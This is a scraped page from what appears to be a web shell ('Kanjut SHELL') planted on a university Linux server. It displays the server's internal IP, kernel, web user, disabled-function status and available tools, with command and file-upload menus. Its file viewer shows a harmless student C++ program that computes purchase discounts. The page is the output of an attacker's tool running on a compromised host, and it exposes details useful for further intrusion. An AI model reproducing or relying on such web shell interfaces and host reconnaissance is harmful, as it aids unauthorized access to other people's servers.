Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.225.195.153
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/drsparks/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/drsparks/extracredit.cpp
#include <iostream>
#include <iomanip>
using namespace std;

int main ()
{
 float purchase,
       savings,
       amountowed;

cout << "Enter the amount of your purchase  ->";
cin >> purchase;

if (purchase <= 50)
   savings = purchase * .10;
else if (purchase <= 250)
   savings = 5 + (purchase - 50) * .15;
else
   savings = 35 + (purchase - 250) * .2;

amountowed =  purchase - savings;

cout << fixed << setprecision(2);

cout << "Amount of total savings is  $" << savings << endl;

cout << "Total Amount is             $" << amountowed << endl << endl;

if (purchase <= 50)
    cout << "You get a free ELECTRIC KNIFE" << endl;
else if (purchase <= 250)
    cout << "You get a free BLENDER" << endl;
else
    cout << "You get a free TOASTER OVEN" << endl;

return 0;
}

Stv3n404 - 2023